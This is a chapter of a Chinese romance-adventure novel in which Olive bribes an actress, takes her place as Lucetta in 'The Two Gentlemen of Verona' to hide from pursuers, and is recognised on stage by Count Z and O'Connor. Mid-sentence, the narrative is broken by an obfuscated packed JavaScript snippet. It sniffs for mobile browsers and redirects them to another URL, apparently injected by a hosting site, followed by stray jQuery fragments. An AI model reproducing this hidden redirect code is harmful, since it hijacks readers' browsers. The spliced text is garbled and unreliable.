29. 登上舞台
作品:《奥丽芙与伯爵大盗》 尼西剧院门口的大幅手绘海报上画着四个互相拉扯的青年男女。
没时间犹豫了,几秒钟前还能听到警察笨重的皮靴声。奥丽芙朝海报望一眼,冲进剧院,直奔到后台入口。门房正坐在小屋内看报纸,大概是眼角余光瞥到她的影子,头不抬地说:“你又迟了,下次我会告诉昆塞尔先生。”
奥丽芙不答话,急匆匆走了进去。
有一间化妆室亮着灯。这是间几人合用的大屋子,但此时,只有一个已经穿好戏服的姑娘在镜子前坐着。奥丽芙一步跨进屋,反身插上门。
那姑娘惊奇地望着她:“你干什么?”
奥丽芙抓出自己的小绿钱包,把里面所有金镑叮叮当当倒在梳妆台上:“这些给你,你是不是演《维洛那二绅士》,能让我代你上场吗?我喜欢和朋友开个玩笑,我有一位朋友正坐在观众席上……”
“是位男性朋友吧!”女演员叫道,露出心领神会的表情。
“对!”奥丽芙顺着她的话编下去,“我想给他个惊喜。这出戏我看过好多遍,我保证不乱演。”
“我扮裘丽亚的女仆露瑟他,不难演。”女演员跳起身,奥丽芙急忙在空出来的位置坐下,抓起眉笔。
女演员绕着她转了半圈,打量她的身形,又从镜子里看她的脸,口里说,“不赖……”
“你的衣服快给我。”奥丽芙飞快地在脸上涂抹,同时快速解释道,“可是有些人反对这件事,他们不愿意我和他在一起,想要阻止我。他们刚才正跟着我,要是有人来问,千万别说出来好吗。他们很有势力,可能会找来警察吓唬人,不管说什么,你都别理,只说没见到有人来过就行。”
“警察我可不怕。”扮演露瑟他的女演员连连点头,“但这些钱可不能摆在这儿。那我就不客气了。”她拿手一扫,把所有钱币扫入另一只手掌中,走到挂满了衣服的无门衣柜前,摸索一阵,随即便是硬币入袋的轻微声响。
“没人想到我那兜里会装钱,不过还是得小心,别被人偷了去。”她自语说。
她一边脱戏服,一边安抚奥丽芙:“放心,我肯定不告诉人。”又对自己加了一句,“要是昆塞尔先生知道,非杀了我不可。”
“他不会,你就说你突然肚子疼。”
奥丽芙帮着露瑟他脱掉白底蓝边的女仆裙子,赶紧套在自己身上。
露瑟他弯身为她拽了拽裙子,从背后系好带子,爱慕地望着她:“你的身段真好,要是演歌舞剧,你可以去当领舞。”
“谢谢。你也一样。”
梳妆镜角上挂着一顶结成两条黄色粗辫子的假发,奥丽芙拿下来。假发有点脏,她也顾不得了,往头上一套。
再向镜中一瞧,她的眼圈涂得又大又黑,皮肤雪白,嘴唇鲜红,加上两条辫子,准保谁也认不出她来。
露瑟他鼓励道:“别紧张,好好演,我保证不告诉人。”
第一幕第二场就是女仆和主要角色之一裘丽亚的戏,扮裘丽亚的演员早已经准备好,正等着丝绒大幕拉开,看见露瑟他才来,刚要瞪一眼,突然发现不对,调转了目光。
原来的露瑟他在一旁半弯着腰说:“我肚子疼得很,幸亏我妹妹来了,她替我。”
没工夫再多说一句,幕布拉开了,一眨眼,奥丽芙已经跟着裘丽亚来到台上,面对着整个宏伟壮观的半圆形剧场,被精致的布景紫罗兰和苹果树所衬托,成为一个玄妙、美丽的魔幻世界的中心。
“露瑟他,现在这儿没有别人,告诉我,你赞成我跟人家恋爱吗?”裘丽亚一面说着台词,一面仍然瞪着奥丽芙。
“我赞成,小姐,只要您认准了真心,别莽莽撞撞。”奥丽芙用假嗓子尽量大声地说。
扮演裘丽亚的演员是个挺有舞台经验的人,知道如何压住场面,她见事已至此,狠狠剜了奥丽芙一眼,便不露声色,继续说她的台词。
过去,在晚饭后,奥丽芙总和父亲一起朗读莎士比亚,遇到中意的段落,她也给父亲小小地扮演一下,逗父亲开心。
这部戏中的对白她挺熟悉,虽说不至于倒背如流,但好在女仆的台词不长,又基本都是对裘丽亚的话作答,奥丽芙凭借记忆,能说个大差不差。她想观众未必在意,便自信地念下去,她听见自己做作出的嗓音在剧场中回荡。
“……若我是您,我不会选他。”
“他不缺钱,人品却像他的脸膛,缺点多得让人数不清。”
“请原谅,我的小姐。像我这样平凡的人,怎么有资格批评高贵的绅士呢?”
奥丽芙猛然发现,她说的这些台词倒和现实中她做的事差不多。她不正是为了一位小姐,对那些“高贵”的绅士一一做出评价吗?
何止评价,我还要戳穿你们的真面目。奥丽芙胸中涌起一股骄傲。
念过两三句词,没听到嘘声,奥丽芙已经很镇定了,有空闲瞄瞄周围的情况。
日戏通常都坐不满,何况上演的不是新剧目,池座中大概只坐了一少半人,好几只包厢也全是空的。不过,舞台侧面上方最近的一个包厢中有三个人,其中一位先生和一位身穿黑色绉绸裙子的太太坐在前排,奥丽芙认出这位太太是孀居的斯塔福德侯爵夫人。她身边的先生半侧着身,脑袋伸到包厢深处,和坐在后排的姑娘——想必是侯爵小姐——凑着头说话。
侯爵夫人性子高傲,只和贵族圈子里的人来往,绝不肯屈尊同库珀先生搭交情,奥丽芙也就从来没有被引见给她们母女二人的荣幸。此时她觉得是件好事,可以不必担心她们,因为这个包厢离舞台简直太近了,要是她愿意,甚至能数清楚夫人项链上的珠子有几颗。
“我的理由是女人的直觉。我以为他最好,他一出现,我就是觉得他最好。”
奥丽芙刚说完这一句,包厢中那个没让她看见脸的先生突然转过身,身体向前倾了倾,注视着舞台。奥丽芙又瞥过去,看见他是Z伯爵。
他的身体越来越俯向前,几乎探出了包厢外,奥丽芙稍一仰脸,便对上了他的目光。Z伯爵的嘴角微微翘着,眼神中说不清带着什么意思。奥丽芙明白自己被认出来了。
难道他追逐的对象除了伊迪丝,还另有别人?怎么又和侯爵小姐一起看戏,而且,看起来和对方颇亲密。昨天散步途中对他积起的一点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085412|192595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好感顿时烟消云散。
真是巧了,剧中那个见异思迁,先爱裘丽亚,后爱公爵小姐的普洛丟斯,可不就是他本人的写照么?
“谁越是到处宣扬自己的爱情,谁的爱情越靠不住。”念白时,奥丽芙本该看裘丽亚,她却抬着脸,扬起眉,大胆地,含讥带讽地望着Z伯爵,向他清楚地表明:在这个场合碰见,她和他一样“出乎意外”。
Z伯爵倒没显出惊讶的表情,只是饶有兴味地看着她,眼里的意思仿佛是:“尽管由你说好了。”
“请读读这个,小姐。”奥丽芙说完这句台词,猛然醒悟。
该拿出信了!
道具在哪儿?
她自己倒是装着一张纸,费这么多麻烦就是为了保住那张纸,绝不能给裘丽亚。道具信应该是放戏服口袋里吧。可是口袋又在哪儿?奥丽芙手忙脚乱向身上去摸。
谢天谢地,终于找到了裙子上的兜,奥丽芙从中摸出一张纸片。本来她已经预备递给裘丽亚一片空气了,不过,这封信过会儿就要被撕掉,若是敢让裘丽亚撕空气,裘丽亚非把她撕了不可。
本来挺喜欢戏中女扮男装追寻恋人的裘丽亚,可惜,追的是普洛丟斯那么个家伙,唉,这就有点让人瞧不上了。
反正也晚了两拍,奥丽芙慢吞吞、不情愿地将“普洛丢斯的情书”递给裘丽亚。
总算混过了这个险关,只被裘丽亚再剜了一眼。没关系。
再偷眼去瞧Z伯爵,他的微笑若能摘下来,活脱脱是个忍俊不禁的标本。
他脸皮真厚。
这时剧情要求露瑟他下场,但裘丽亚讲完一小段话后就会叫她回来。奥丽芙只是走到角落,背对着观众等了片刻。
裘丽亚唤她重上时,奥丽芙看见奥康纳先生和那个被他叫做弗兰克的人站在舞台前。
就他们两个,警察倒不知在哪里,可能正守着出口或者去别处搜查了。
奥康纳和弗兰克并没看台上,而是伸长脖子向观众席张望。这引起了部分观众不满,有人发出嘘声。于是弗兰克向出口走去,而奥康纳还留在剧场内,他又抬头去看包厢。
他短暂消失了一会儿,接着,奥丽芙看见他走进了Z伯爵和侯爵母女所在的包厢。
奥康纳衣装笔挺,样貌气派,没有令包厢里的人受到惊吓。他向他们简单说了几句,便立在那儿,眼睛向下四面扫视。
这倒是个聪明的办法,在高处那个位置,他可以将剧院前半部分看得清清楚楚,也没有人再嘘他了,而一旁的侯爵夫人和小姐,也不由顺着他的目光到处看。只有Z伯爵岿然不动,炯炯的目光注视着奥丽芙,现在,他那一脸感到新奇、有趣的表情已经变成了一副心领神会的笑容。
只要再念一句台词,露瑟他又该短暂退场了,奥丽芙决定效法上次,继续站在角落里。
但她没法永远躲在舞台上,很快这场戏就要演完,演员们全部下台,要是裘丽亚一喊叫,不是正好被可能守在后台的人听到?一着急,奥丽芙忘了伪装声音,用自己原本的嗓音念起了台词。
她感到奥康纳迅速转身,目光向台上射来。

